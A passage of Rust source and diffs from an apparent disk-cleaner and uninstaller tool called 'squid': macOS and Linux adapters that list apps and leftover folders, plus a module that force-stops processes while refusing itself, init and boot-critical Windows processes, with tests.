/// What the machine squid runs on is called when squid addresses a person.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum Device {
Mac,
Pc,
Machine,
}
/// Where a file sent to the Trash actually lands, as far as the user can tell.
///
/// `doctor` used to probe `~/.Trash` unconditionally and conclude on Windows
/// that "deletions fall back to permanent", which was wrong: the shell Recycle
/// Bin is there, it is just not a folder squid can name or list.
#[derive(Clone, Debug, PartialEq, Eq)]
pub enum TrashTarget {
/// The shell Recycle Bin. Reachable and restorable, but the shell owns the
/// bookkeeping, so there is no folder path to show.
RecycleBin,
/// A real trash folder that exists right now.
Folder(PathBuf),
/// Nothing reachable — sending to the Trash would end up permanent.
Unreachable,
}
/// One physical memory module read from SMBIOS (Windows).
#[derive(Clone, Debug, Default, Serialize)]
pub struct MemoryStick {
pub manufacturer: String,
pub size_bytes: u64,
pub speed_mhz: u32,
}
/// Static component facts for the overview's spec panel: what the machine
/// is built from, as opposed to what it is busy with right now.
#[derive(Clone, Debug, Default, Serialize)]
pub struct HardwareInfo {
pub board: String,
pub cpu_model: String,
pub memory_sticks: Vec<MemoryStick>,
pub disk_vendor: String,
pub disk_model: String,
pub disk_bus: String,
pub disk_size_bytes: u64,
pub gpu_vendor: String,
pub gpu_model: String,
pub gpu_vram_bytes: u64,
}
/// Component facts for the current machine. Windows reads SMBIOS, the
/// storage stack and the class registry; other platforms report what they
/// already know elsewhere (CPU brand via snapshots) and leave the rest empty.
pub fn hardware_info() -> HardwareInfo {
#[cfg(windows)]
{
windows::hardware_info()
}
#[cfg(not(windows))]
{
HardwareInfo::default()
}
}
/// Concrete adapter for the host we are running on.
pub fn current() -> Box<dyn Platform> {
#[cfg(target_os = "macos")]
{
Box::new(macos::MacOs)
}
#[cfg(target_os = "linux")]
{
Box::new(linux::Linux::default())
}
#[cfg(windows)]
{
Box::new(windows::Windows)
}
#[cfg(not(any(target_os = "macos", target_os = "linux", windows)))]
{
Box::new(Unsupported)
}
}
/// Adapter used when the OS is not implemented yet: reports volumes through
/// `df`-style data and refuses app management.
pub struct Unsupported;
impl Platform for Unsupported {
fn id(&self) -> PlatformId {
PlatformId::Unknown
}
fn display_name(&self) -> String {
std::env::consts::OS.to_string()
}
fn os_version(&self) -> String {
std::env::consts::ARCH.to_string()
}
fn hardware_model(&self) -> String {
"unknown".into()
}
fn app_sources(&self) -> Vec<AppSource> {
Vec::new()
}
fn list_apps(&self, _cancel: &CancelToken, _size: bool) -> Result<Vec<AppInfo>> {
Err(squid_core::SquidError::Unsupported {
platform: std::env::consts::OS,
what: "application inventory",
})
}
fn leftover_roots(&self) -> Vec<LeftoverRoot> {
Vec::new()
}
fn volumes(&self) -> Result<Vec<Volume>> {
Ok(Vec::new())
}
fn running_executables(&self) -> Vec<String> {
Vec::new()
}
}
/// Convenience: can the current user write this path?
#[cfg(not(windows))]
pub fn is_user_writable(path: &Path) -> bool {
use std::os::unix::fs::MetadataExt;
match std::fs::metadata(path) {
Ok(meta) => {
let uid = unsafe { libc::getuid() };
if uid == 0 {
return true;
}
meta.uid() == uid && meta.mode() & 0o200 != 0
}
Err(_) => false,
}
}
/// Windows has no uid; the read-only attribute is the portable signal and
/// ACL checks would need a token walk we cannot afford per path.
#[cfg(windows)]
pub fn is_user_writable(path: &Path) -> bool {
match std::fs::metadata(path) {
Ok(meta) => !meta.permissions().readonly(),
Err(_) => false,
}
}
/// Nearest existing ancestor that exists (for ownership checks on paths that
/// are about to disappear).
pub fn closest_existing(path: &Path) -> PathBuf {
let mut cursor = path.to_path_buf();
loop {
if cursor.exists() {
return cursor;
}
if !cursor.pop() {
return PathBuf::from("/");
}
}
}

View File

@ -1,351 +0,0 @@
//! Linux adapter: `.desktop` entries, Flatpak/Snap awareness, XDG leftovers.
use crate::{AppSource, LeftoverRoot, LifecycleReport, Naming, Platform, PlatformId, TrashTarget};
use squid_core::progress::CancelToken;
use squid_core::{AppInfo, Bytes, Category, Result, Volume};
use std::collections::BTreeMap;
use std::path::{Path, PathBuf};
use std::process::Command;
#[derive(Default)]
pub struct Linux;
fn home() -> PathBuf {
dirs::home_dir().unwrap_or_else(|| PathBuf::from("/root"))
}
fn run(program: &str, args: &[&str]) -> Option<String> {
Command::new(program)
.args(args)
.output()
.ok()
.filter(|o| o.status.success())
.map(|o| String::from_utf8_lossy(&o.stdout).trim().to_string())
}
/// One parsed `.desktop` file.
#[derive(Default, Clone)]
struct DesktopEntry {
name: String,
exec: Option<String>,
startup_wm_class: Option<String>,
icon: Option<String>,
no_display: bool,
}
fn parse_desktop(path: &Path) -> Option<DesktopEntry> {
let text = std::fs::read_to_string(path).ok()?;
let mut entry = DesktopEntry::default();
let mut in_desktop = false;
for line in text.lines() {
let line = line.trim();
if line.starts_with('[') {
in_desktop = line == "[Desktop Entry]";
continue;
}
if !in_desktop {
continue;
}
let Some((key, value)) = line.split_once('=') else {
continue;
};
match key.trim() {
"Name" if entry.name.is_empty() => entry.name = value.trim().to_string(),
"Exec" => entry.exec = Some(value.trim().to_string()),
"StartupWMClass" => entry.startup_wm_class = Some(value.trim().to_string()),
"Icon" => entry.icon = Some(value.trim().to_string()),
"NoDisplay" => entry.no_display = value.trim().eq_ignore_ascii_case("true"),
_ => {}
}
}
if entry.name.is_empty() {
return None;
}
Some(entry)
}
impl Platform for Linux {
fn id(&self) -> PlatformId {
PlatformId::Linux
}
fn display_name(&self) -> String {
"Linux".to_string()
}
fn os_version(&self) -> String {
std::fs::read_to_string("/etc/os-release")
.ok()
.and_then(|text| {
text.lines()
.find(|l| l.starts_with("PRETTY_NAME="))
.map(|l| {
l.trim_end_matches('"')
.trim_start_matches("PRETTY_NAME=\"")
.to_string()
})
})
.unwrap_or_else(|| format!("Linux {}", std::env::consts::ARCH))
}
fn hardware_model(&self) -> String {
let read = |p: &str| {
std::fs::read_to_string(p)
.ok()
.map(|s| s.trim().to_string())
.filter(|s| !s.is_empty())
};
let product = read("/sys/class/dmi/id/product_name").unwrap_or_default();
let cpu = std::fs::read_to_string("/proc/cpuinfo")
.ok()
.and_then(|info| {
info.lines()
.find(|l| l.starts_with("model name"))
.and_then(|l| l.split_once(':'))
.map(|(_, v)| v.trim().to_string())
})
.unwrap_or_default();
[product, cpu]
.join(" · ")
.trim_matches('·')
.trim()
.to_string()
}
fn graphics_adapter(&self) -> String {
run("lspci", &[])
.map(|text| {
text.lines()
.filter(|line| {
line.contains("VGA compatible controller")
|| line.contains("3D controller")
|| line.contains("Display controller")
})
.filter_map(|line| line.split_once(": ").map(|(_, value)| value.trim()))
.map(|value| {
value
.split_once(": ")
.map(|(_, name)| name.trim())
.unwrap_or(value)
.to_string()
})
.collect::<Vec<_>>()
.join(" · ")
})
.unwrap_or_default()
}
fn app_sources(&self) -> Vec<AppSource> {
[
("/usr/share/applications", "System", 1, true),
("/usr/local/share/applications", "Local", 1, true),
("~/.local/share/applications", "User", 1, false),
(
"/var/lib/flatpak/exports/share/applications",
"Flatpak",
1,
true,
),
(
"~/.local/share/flatpak/exports/share/applications",
"Flatpak (user)",
1,
false,
),
("/snap", "Snap", 2, true),
]
.into_iter()
.map(|(dir, label, depth, system)| AppSource {
dir: squid_core::paths::expand(dir),
label: label.into(),
depth,
system,
})
.filter(|s| s.dir.is_dir())
.collect()
}
fn list_apps(&self, cancel: &CancelToken, _size_apps: bool) -> Result<Vec<AppInfo>> {
let running = self.running_executables();
let mut by_id: BTreeMap<String, AppInfo> = Default::default();
for source in self.app_sources() {
if source.label == "Snap" {
continue; // handled below through `snap list`
}
let Ok(entries) = std::fs::read_dir(&source.dir) else {
continue;
};
for entry in entries.flatten() {
if cancel.is_cancelled() {
break;
}
let path = entry.path();
if path.extension().map(|e| e != "desktop").unwrap_or(true) {
continue;
}
let Some(desktop) = parse_desktop(&path) else {
continue;
};
if desktop.no_display {
continue;
}
let id = path
.file_stem()
.map(|s| s.to_string_lossy().into_owned())
.unwrap_or_default();
let exec_name = desktop
.exec
.as_deref()
.and_then(|exec| exec.split_whitespace().next())
.map(|exe| {
Path::new(exe)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.into_owned()
});
let running_flag = exec_name
.as_deref()
.or(desktop.startup_wm_class.as_deref())
.map(|needle| {
let needle = needle.to_lowercase();
running.iter().any(|p| p.to_lowercase().ends_with(&needle))
})
.unwrap_or(false);
by_id.entry(id.clone()).or_insert_with(|| AppInfo {
name: desktop.name.clone(),
bundle_id: Some(id.clone()),
path: path.clone(),
icon_source: None,
version: None,
size: Bytes::ZERO,
source: source.label.clone(),
running: running_flag,
has_sibling_install: false,
publisher: desktop.icon.clone(),
installed_ms: None,
display_icon: None,
});
}
}
if let Some(list) = run(
"flatpak",
&[
"list",
"--app",
"--columns=application,name,size,installation",
],
) {
for line in list.lines().skip(1) {
let cols: Vec<&str> = line.split('\t').collect();
if let Some(id) = cols.first() {
by_id.entry(id.to_string()).or_insert_with(|| AppInfo {
name: cols
.get(1)
.map(|s| s.to_string())
.unwrap_or_else(|| id.to_string()),
bundle_id: Some(id.to_string()),
path: PathBuf::from(format!("flatpak:{id}")),
icon_source: None,
version: None,
size: cols
.get(2)
.and_then(|s| s.trim().strip_suffix(" B"))
.and_then(|s| s.trim().parse::<u64>().ok())
.map(Bytes)
.unwrap_or_default(),
source: "Flatpak".into(),
running: false,
has_sibling_install: false,
publisher: None,
installed_ms: None,
display_icon: None,
});
}
}
}
Ok(by_id.into_values().collect())
}
fn leftover_roots(&self) -> Vec<LeftoverRoot> {
let candidates = [
("~/.config", Naming::AppName),
("~/.cache", Naming::AppName),
("~/.local/share", Naming::AppName),
("~/.local/state", Naming::AppName),
("~/.var/app", Naming::BundleId),
("~/.pki", Naming::AppName),
];
candidates
.into_iter()
.map(|(dir, naming)| LeftoverRoot {
dir: squid_core::paths::expand(dir),
naming,
deep: false,
category: Category::Leftovers,
})
.filter(|c| c.dir.is_dir())
.collect()
}
fn prepare_uninstall(&self, app: &AppInfo) -> LifecycleReport {
let mut report = LifecycleReport::default();
if app.running {
report
.warnings
.push(format!("{} is still running", app.name));
}
if app.source == "Flatpak" {
report
.notes
.push("`flatpak uninstall --unused` is recommended afterwards".into());
}
report
}
fn finish_uninstall(&self, _app: &AppInfo, _removed: &[PathBuf]) -> LifecycleReport {
LifecycleReport::default()
}
fn volumes(&self) -> Result<Vec<Volume>> {
Ok(crate::volumes::volumes_from_mounts(
&crate::volumes::mount_entries(),
))
}
fn protected_prefixes(&self) -> Vec<PathBuf> {
["/etc", "/usr", "/bin", "/sbin", "/boot", "/EFI"]
.iter()
.map(PathBuf::from)
.collect()
}
fn running_executables(&self) -> Vec<String> {
run("ps", &["-axo", "comm="])
.map(|out| out.lines().map(|l| l.trim().to_string()).collect())
.unwrap_or_default()
}
fn reveal_trash(&self) {
let trash = home().join(".local/share/Trash/expunged");
let _ = Command::new("xdg-open")
.arg(home().join(".local/share/Trash/files"))
.spawn();
let _ = trash;
}
fn trash_target(&self) -> TrashTarget {
// The XDG spec puts it under $XDG_DATA_HOME; in practice ~/.local/share.
let root = std::env::var_os("XDG_DATA_HOME")
.map(PathBuf::from)
.filter(|p| p.is_absolute())
.unwrap_or_else(|| home().join(".local").join("share"));
let trash = root.join("Trash");
if trash.is_dir() {
TrashTarget::Folder(trash)
} else {
TrashTarget::Unreachable
}
}
}

View File

@ -1,388 +0,0 @@
//! macOS adapter: `.app` bundles, sandbox containers, launch services.
use crate::apps::{app_from_bundle, discover_bundles};
use crate::{
AppSource, Device, LeftoverRoot, LifecycleReport, Naming, Platform, PlatformId, TrashTarget,
};
use rayon::prelude::*;
use squid_core::progress::CancelToken;
use squid_core::{AppInfo, Category, Result, SquidError, Volume};
use std::path::{Path, PathBuf};
use std::process::Command;
#[derive(Default)]
pub struct MacOs;
const LSREGISTER: &str = "/System/Library/Frameworks/CoreServices.framework/Versions/A/\
Frameworks/LaunchServices.framework/Versions/A/Support/lsregister";
fn run(program: &str, args: &[&str]) -> Option<String> {
let output = Command::new(program).args(args).output().ok()?;
if output.status.success() {
Some(String::from_utf8_lossy(&output.stdout).trim().to_string())
} else {
None
}
}
fn quiet(program: &str, args: &[&str]) {
let _ = Command::new(program).args(args).output();
}
fn home() -> PathBuf {
dirs::home_dir().unwrap_or_else(|| PathBuf::from("/Users/nobody"))
}
fn root(path: &str) -> PathBuf {
PathBuf::from(path)
}
impl Platform for MacOs {
fn id(&self) -> PlatformId {
PlatformId::MacOS
}
fn display_name(&self) -> String {
"macOS".to_string()
}
fn os_version(&self) -> String {
let product = run("sw_vers", &["-productVersion"]).unwrap_or_default();
let build = run("sw_vers", &["-buildVersion"]).unwrap_or_default();
if build.is_empty() {
format!("macOS {product}")
} else {
format!("macOS {product} ({build})")
}
}
fn hardware_model(&self) -> String {
let model = run("sysctl", &["-n", "hw.model"]).unwrap_or_default();
let brand = run("sysctl", &["-n", "machdep.cpu.brand_string"]).unwrap_or_default();
let chips = run("sysctl", &["-n", "hw.perflevel0.physicalcpu"])
.and_then(|p| {
run("sysctl", &["-n", "hw.perflevel1.physicalcpu"]).map(|e| format!("{p}P+{e}E"))
})
.unwrap_or_default();
let mut parts = vec![model.clone()];
if !brand.is_empty() && !model.contains(&brand) {
parts.push(brand);
}
if !chips.is_empty() {
parts.push(chips);
}
parts.join(" · ")
}
fn graphics_adapter(&self) -> String {
run(
"/usr/sbin/system_profiler",
&["SPDisplaysDataType", "-detailLevel", "mini"],
)
.map(|text| {
text.lines()
.filter_map(|line| {
line.trim()
.strip_prefix("Chipset Model:")
.map(|value| value.trim().to_string())
.filter(|value| !value.is_empty())
})
.collect::<Vec<_>>()
.join(" · ")
})
.unwrap_or_default()
}
fn app_sources(&self) -> Vec<AppSource> {
let mut sources = vec![
AppSource {
dir: root("/Applications"),
label: "Applications".into(),
depth: 2,
system: false,
},
AppSource {
dir: home().join("Applications"),
label: "User Applications".into(),
depth: 2,
system: false,
},
AppSource {
dir: root("/System/Applications"),
label: "macOS Apps".into(),
depth: 2,
system: true,
},
AppSource {
dir: home().join("Library/Application Support/Setapp/Applications"),
label: "Setapp".into(),
depth: 1,
system: false,
},
AppSource {
dir: home().join("Library/Containers/io.playcover.PlayCover/Applications"),
label: "PlayCover".into(),
depth: 1,
system: false,
},
];
sources.retain(|s| s.dir.is_dir());
sources
}
fn list_apps(&self, cancel: &CancelToken, size_apps: bool) -> Result<Vec<AppInfo>> {
let running = self.running_executables();
let mut bundles: Vec<(PathBuf, String)> = Vec::new();
for source in self.app_sources() {
for path in discover_bundles(&source.dir, source.depth, cancel) {
bundles.push((path, source.label.clone()));
}
}
let mut apps: Vec<AppInfo> = bundles
.par_iter()
.filter_map(|(path, source)| app_from_bundle(path.clone(), source, &running, size_apps))
.collect();
apps.sort_by(|a, b| {
b.size
.cmp(&a.size)
.then_with(|| a.name.to_lowercase().cmp(&b.name.to_lowercase()))
});
// Flag bundle ids that appear more than once: shared preference files
// must survive when only one copy goes away.
let mut counts: std::collections::HashMap<String, usize> = Default::default();
for app in &apps {
if let Some(id) = app.bundle_id.as_deref() {
*counts.entry(id.to_lowercase()).or_insert(0) += 1;
}
}
for app in &mut apps {
if let Some(id) = app.bundle_id.as_deref() {
app.has_sibling_install = counts.get(&id.to_lowercase()).copied().unwrap_or(0) > 1;
}
}
Ok(apps)
}
fn leftover_roots(&self) -> Vec<LeftoverRoot> {
let user = |rel: &str, naming: Naming| LeftoverRoot {
dir: home().join(rel),
naming,
deep: false,
category: Category::Leftovers,
};
let system = |abs: &str, naming: Naming| LeftoverRoot {
dir: root(abs),
naming,
deep: false,
category: Category::Leftovers,
};
let candidates = vec![
user("Library/Application Support", Naming::Either),
user("Library/Caches", Naming::Either),
user("Library/Preferences", Naming::BundleId),
user("Library/Preferences/ByHost", Naming::BundleId),
user("Library/Saved Application State", Naming::BundleId),
user("Library/HTTPStorages", Naming::BundleId),
user("Library/WebKit", Naming::BundleId),
user("Library/Cookies", Naming::BundleId),
user("Library/Containers", Naming::BundleId),
user("Library/Application Scripts", Naming::BundleId),
user("Library/Group Containers", Naming::GroupContainer),
user("Library/LaunchAgents", Naming::BundleId),
user("Library/Logs", Naming::Either),
user(
"Library/Application Support/CrashReporter",
Naming::BundleId,
),
user("Library/PreferencePanes", Naming::AppName),
user("Library/QuickLook", Naming::AppName),
user("Library/Services", Naming::AppName),
user("Library/ScriptingAdditions", Naming::AppName),
user("Library/Input Methods", Naming::AppName),
user("Library/Screen Savers", Naming::AppName),
user("Library/PreferenceBundles", Naming::AppName),
user("Library/Audio/Plug-Ins/AppleAudioMIDI", Naming::AppName),
user(".config", Naming::AppName),
user(".cache", Naming::AppName),
user(".local/share", Naming::AppName),
user(".local/state", Naming::AppName),
system("/Library/LaunchAgents", Naming::BundleId),
system("/Library/LaunchDaemons", Naming::BundleId),
system("/Library/Application Support", Naming::Either),
system("/Library/Caches", Naming::Either),
system("/Library/Logs", Naming::Either),
system("/Library/PreferencePanes", Naming::AppName),
system("/Library/ScriptingAdditions", Naming::AppName),
system("/Library/QuickLook", Naming::AppName),
system("/Library/Audio/Plug-Ins/HAL", Naming::AppName),
system("/Library/Screen Savers", Naming::AppName),
system("/Library/Internet Plug-Ins", Naming::AppName),
];
candidates.into_iter().filter(|c| c.dir.is_dir()).collect()
}
/// Unloading login items and clearing the Launch Services database entry
/// keeps macOS from resurrecting the app's icon or restarting its helpers.
fn prepare_uninstall(&self, app: &AppInfo) -> LifecycleReport {
let mut report = LifecycleReport::default();
if app.running {
report
.warnings
.push(format!("{} is still running", app.name));
}
let Some(bundle_id) = app.bundle_id.as_deref() else {
return report;
};
let uid = unsafe { libc::getuid() };
let launch_roots = [
home().join("Library/LaunchAgents"),
PathBuf::from("/Library/LaunchAgents"),
PathBuf::from("/Library/LaunchDaemons"),
];
for dir in launch_roots {
let Ok(entries) = std::fs::read_dir(&dir) else {
continue;
};
for entry in entries.flatten() {
let path = entry.path();
let Some(name) = path.file_name().map(|n| n.to_string_lossy().into_owned()) else {
continue;
};
if !name.ends_with(".plist")
|| !name.to_lowercase().contains(&bundle_id.to_lowercase())
{
continue;
}
let label = name.trim_end_matches(".plist");
let domain = if path.starts_with("/Library/LaunchDaemons") {
format!("system/{label}")
} else {
format!("gui/{uid}/{label}")
};
if Command::new("launchctl")
.args(["bootout", &domain])
.output()
.map(|o| o.status.success())
.unwrap_or(false)
{
report.stopped_services.push(path.display().to_string());
}
}
}
if Path::new(LSREGISTER).exists() {
quiet(LSREGISTER, &["-u", &app.path.to_string_lossy()]);
report
.notes
.push("removed the Launch Services registration".into());
}
report
}
fn finish_uninstall(&self, app: &AppInfo, _removed: &[PathBuf]) -> LifecycleReport {
let mut report = LifecycleReport::default();
// Homebrew-owned apps must be told they are gone, or `brew list` keeps
// a phantom entry forever.
if app.path.starts_with("/Applications") || app.path.starts_with("/opt/homebrew") {
if let Some(cask) = cask_for_bundle(&app.path) {
quiet("brew", &["uninstall", "--cask", "--force", &cask]);
report.notes.push(format!("told Homebrew about {cask}"));
}
}
// Receipts make the installer think the app is still present.
if let Some(bundle_id) = app.bundle_id.as_deref() {
if let Some(receipts) = run("pkgutil", &["--pkgs"]) {
for receipt in receipts.lines() {
if receipt
.to_lowercase()
.starts_with(&bundle_id.to_lowercase())
{
quiet("pkgutil", &["--forget", receipt]);
report.notes.push(format!("forgot receipt {receipt}"));
}
}
}
}
quiet("killall", &["-HUP", "cfprefsd"]);
report
}
fn volumes(&self) -> Result<Vec<Volume>> {
let volumes = crate::volumes::volumes_from_mounts(&crate::volumes::mount_entries());
if volumes.is_empty() {
return Err(SquidError::Other("could not read the mount table".into()));
}
Ok(volumes)
}
fn protected_prefixes(&self) -> Vec<PathBuf> {
vec![
PathBuf::from("/System"),
PathBuf::from("/Library/Apple"),
home().join("Library/Keychains"),
home().join("Library/Mail"),
home().join("Library/Messages"),
home().join("Library/Photos"),
home().join("Library/Application Support/MobileSync"),
home().join("Library/Application Support/CloudDocs"),
home().join("Library/Containers/com.apple.Safari"),
]
}
fn running_executables(&self) -> Vec<String> {
run("ps", &["-axo", "comm="])
.map(|out| out.lines().map(|l| l.trim().to_string()).collect())
.unwrap_or_default()
}
fn reveal_trash(&self) {
quiet("open", &[&home().join(".Trash").to_string_lossy()]);
}
fn device(&self) -> Device {
Device::Mac
}
fn trash_target(&self) -> TrashTarget {
let trash = home().join(".Trash");
if trash.is_dir() {
TrashTarget::Folder(trash)
} else {
TrashTarget::Unreachable
}
}
fn inspect_path(&self, path: &Path) -> Option<String> {
// Sandboxed containers are owned by containermanagerd; deleting the
// folder without the metadata file upsets the sandbox service.
if path
.join(".com.apple.containermanagerd.metadata.plist")
.exists()
{
return Some("sandboxed container (removing the whole folder is safe)".into());
}
if path.starts_with(home().join("Library/Containers")) {
return Some("inside a sandboxed container".into());
}
None
}
}
/// Ask Homebrew which cask installed this bundle, if any.
fn cask_for_bundle(app_path: &Path) -> Option<String> {
let out = run("brew", &["list", "--cask", "--versions"])
.or_else(|| run("/opt/homebrew/bin/brew", &["list", "--cask", "--versions"]))?;
let stem = app_path
.file_name()
.map(|n| n.to_string_lossy().trim_end_matches(".app").to_lowercase())
.unwrap_or_default();
for line in out.lines() {
let name = line.split_whitespace().next()?.to_lowercase();
if name == stem || stem.contains(&name) || name.contains(&stem) {
return Some(line.split_whitespace().next()?.to_string());
}
}
None
}

File diff suppressed because it is too large Load Diff

View File

@ -1,340 +0,0 @@
//! Stopping one process, because the interface is allowed to ask for it.
//!
//! A file cleaner that can list what is running can also be asked to stop what
//! is running, and the ask is honest: a hung app is the reason people open a
//! dashboard at all. The two halves of the job are not equally interesting.
//!
//! The *how* is boring and short. Unix sends `SIGKILL`; Windows opens the
//! process for `PROCESS_TERMINATE` and calls `TerminateProcess`. Both are the
//! same promise — this process stops now and saves nothing — which is why the
//! interface calls it a forced stop on every platform instead of a polite quit
//! it did not perform.
//!
//! The *whether* is where the damage is, so it is answered twice. First here,
//! by rule: squid never stops itself, never stops the first process of the
//! machine, and on Windows never stops the handful of processes a boot rests
//! on. Those rules exist because the OS does not enforce all of them. An
//! unelevated process on macOS cannot reach `WindowServer` anyway, but an
//! elevated `squid` on Windows *can* open `csrss.exe` for termination, and the
//! reward for one misplaced Enter is a machine that reboots without asking. A
//! guard that costs six names is cheaper than that conversation.
//!
//! Then by the operating system, whose answer is the only one that carries any
//! authority about this user, this token, this moment. The reason it says no is
//! kept: `EPERM` and `ERROR_ACCESS_DENIED` mean "you are not that user", which
//! tells the reader to reach for an elevated terminal, while `ESRCH` means the
//! process already left on its own, which asks for nothing at all. Guessing one
//! message for both is how a tool teaches people to distrust its errors.
//!
//! Note that this module answers for a pid and nothing else. Whether the pid in
//! front of the user is still the process they read the name of is a question
//! about the sample that produced it, and it is asked where the samples live
//! (`squid_stats::Sampler::stop`).
use std::fmt;
/// The rule that stands between squid and a process.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum OffLimits {
/// The process is this squid. Stopping it would end the answer along with
/// the question.
Itself,
/// The first process of the machine: the kernel and `init`/`launchd` on
/// unix, the System Idle Process and `System` on Windows.
First,
/// A Windows process the session or the boot depends on, named here so the
/// message can say which.
Boot(&'static str),
}
impl OffLimits {
/// The rule in English, for logs and for the command line. The interface
/// translates the *rule*, not this sentence, so that one rule cannot drift
/// into two wordings.
pub fn reason(self) -> &'static str {
match self {
OffLimits::Itself => "this is squid itself",
OffLimits::First => "the first process of the machine",
OffLimits::Boot(name) => name,
}
}
}
/// Why a process was not stopped.
#[derive(Clone, Debug, PartialEq, Eq)]
pub enum StopError {
/// It was already gone: either it exited between the list being drawn and
/// the key being pressed, or the pid now belongs to something else.
Gone { pid: u32 },
/// A rule in this module declined, before anything was attempted.
Refused(OffLimits),
/// The operating system refused, in its own words.
Denied { reason: String },
}
impl fmt::Display for StopError {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
match self {
StopError::Gone { pid } => write!(f, "process {pid} is no longer running"),
StopError::Refused(rule) => write!(f, "refused: {}", rule.reason()),
StopError::Denied { reason } => f.write_str(reason),
}
}
}
impl std::error::Error for StopError {}
/// The processes a Windows session cannot afford to lose, without their
/// extension. `svchost` is deliberately absent: it hosts services a user may
/// genuinely need to restart, and the machine survives it.
#[cfg(windows)]
const CRITICAL: [&str; 6] = ["csrss", "smss", "wininit", "services", "lsass", "winlogon"];
/// The half of the rule a pid answers on its own, before anything is read
/// about it.
///
/// Split from [`refusal`] because the two halves get asked at different moments:
/// this one is asked of the number the interface is holding, where the name
/// rule needs the process that is really behind the number. A process that is
/// off limits should be refused as that, rather than reported as missing merely
/// because no listing happened to describe it.
pub fn pid_refusal(pid: u32) -> Option<OffLimits> {
if pid == std::process::id() {
return Some(OffLimits::Itself);
}
// Unix: 0 is the kernel, 1 is init. Windows: 0 is the System Idle Process
// and 4 is the System process, and both show up in a memory-sorted list.
if pid <= 1 || (cfg!(windows) && pid == 4) {
return Some(OffLimits::First);
}
None
}
/// Which rule declines this process, if one does.
///
/// `name` is what the process calls itself, which is the only thing the user
/// read. The comparison is on the extensionless stem because a listing may or
/// may not carry `.exe` depending on where it was taken from.
pub fn refusal(pid: u32, name: &str) -> Option<OffLimits> {
if let Some(rule) = pid_refusal(pid) {
return Some(rule);
}
// The name decides anything only on Windows, where a process is named as
// firmly as it is numbered. Taking it anyway keeps one question — "may this
// pid be stopped" — answerable from one place on every platform.
let _ = &name;
#[cfg(windows)]
{
let stem = name
.rsplit(['\\', '/'])
.next()
.unwrap_or(name)
.to_lowercase();
let stem = stem.strip_suffix(".exe").unwrap_or(&stem);
if let Some(found) = CRITICAL.iter().copied().find(|critical| *critical == stem) {
return Some(OffLimits::Boot(found));
}
}
None
}
/// Force a process to stop, now.
///
/// Only the pid is passed, so a caller that knows the name it displayed has to
/// check the name itself — which is the point: `refusal` and a fresh read of the
/// pid are the caller's job, and this function makes no promises about *which*
/// process the pid belongs to today.
pub fn force_stop(pid: u32) -> Result<(), StopError> {
// `cfg` rather than `cfg!`, because the halves of this function are not two
// branches of one program: on Windows there is no `unix` module to name, and
// on macOS there is no `windows` one. An `if` would ask both to exist.
#[cfg(unix)]
{
unix::force_stop(pid)
}
#[cfg(windows)]
{
windows::force_stop(pid)
}
#[cfg(not(any(unix, windows)))]
{
Err(StopError::Denied {
reason: "stopping processes is not implemented for this platform".into(),
})
}
}
#[cfg(unix)]
mod unix {
use super::StopError;
pub fn force_stop(pid: u32) -> Result<(), StopError> {
let rc = unsafe { libc::kill(pid as libc::pid_t, libc::SIGKILL) };
if rc == 0 {
return Ok(());
}
let error = std::io::Error::last_os_error();
// ESRCH: nothing answers to this pid any more. The user asked to stop a
// process and there is no process; that is a report, not a failure to
// explain away.
if error.raw_os_error() == Some(libc::ESRCH) {
return Err(StopError::Gone { pid });
}
Err(StopError::Denied {
reason: error.to_string(),
})
}
}
#[cfg(windows)]
mod windows {
use super::StopError;
use windows_sys::Win32::Foundation::CloseHandle;
use windows_sys::Win32::System::Threading::{OpenProcess, TerminateProcess, PROCESS_TERMINATE};
/// The exit status a forced stop reports. `1` is what Task Manager's
/// "End task" leaves behind, and nothing reads it: the process is simply
/// not running afterwards.
const FORCED: u32 = 1;
pub fn force_stop(pid: u32) -> Result<(), StopError> {
let handle = unsafe { OpenProcess(PROCESS_TERMINATE, 0, pid) };
if handle.is_null() {
return Err(denied(pid));
}
let ok = unsafe { TerminateProcess(handle, FORCED) };
unsafe { CloseHandle(handle) };
if ok == 0 {
return Err(denied(pid));
}
Ok(())
}
/// The message the system gave, in the words it gives the user: "Access is
/// denied." for a process owned by another account, "The parameter is
/// incorrect." once the pid has stopped existing.
fn denied(pid: u32) -> StopError {
let error = std::io::Error::last_os_error();
if error.raw_os_error().is_some_and(|code| code == 87) {
// ERROR_INVALID_PARAMETER: no such process.
return StopError::Gone { pid };
}
StopError::Denied {
reason: error.to_string(),
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::process::{Child, Command, Stdio};
#[test]
fn squid_never_stops_itself() {
let here = std::process::id();
assert_eq!(refusal(here, "squid"), Some(OffLimits::Itself));
}
#[test]
fn the_first_processes_are_off_limits_everywhere() {
assert_eq!(pid_refusal(0), Some(OffLimits::First));
assert_eq!(pid_refusal(1), Some(OffLimits::First));
assert_eq!(refusal(0, "kernel_task"), Some(OffLimits::First));
assert_eq!(refusal(1, "launchd"), Some(OffLimits::First));
// A normal process, on any platform, is fair game.
assert_eq!(refusal(4_242, "TextEdit"), None);
}
#[cfg(windows)]
#[test]
fn the_processes_a_boot_rests_on_are_named_not_guessed() {
assert_eq!(refusal(4, "System"), Some(OffLimits::First));
assert_eq!(
refusal(520, "C:\\Windows\\System32\\csrss.exe"),
Some(OffLimits::Boot("csrss"))
);
// Extensionless, upper case, and the folder it was read from must not
// change the answer.
assert_eq!(refusal(640, "LSASS"), Some(OffLimits::Boot("lsass")));
// `svchost` hosts services a user may need to restart, and the machine
// survives losing one, so the guard stays out of the way.
assert_eq!(refusal(1234, "svchost.exe"), None);
}
/// The whole point of the feature: a process that is running stops.
///
/// `ping` against the loopback is used because it exists on every platform
/// this runs on, takes a minute, and losing it hurts nothing. The test
/// waits for the exit rather than trusting the return code of the kill: on
/// Windows the kill is synchronous but the handle we spawned through is
/// not, and a zombie that has stopped running is still a stopped process.
#[test]
fn a_running_process_stops_when_it_is_asked() {
let mut child = sleeper();
let pid = child.id();
assert!(
child.try_wait().expect("child is running").is_none(),
"the child died before being asked"
);
let outcome = force_stop(pid);
if outcome.is_err() {
let _ = child.kill();
}
outcome.expect("stopping a child of this test must be allowed");
let status = child.wait().expect("the child is reaped");
assert!(
!status.success(),
"a killed process reported success: {status:?}"
);
}
fn sleeper() -> Child {
let mut command = if cfg!(windows) {
let mut command = Command::new("ping");
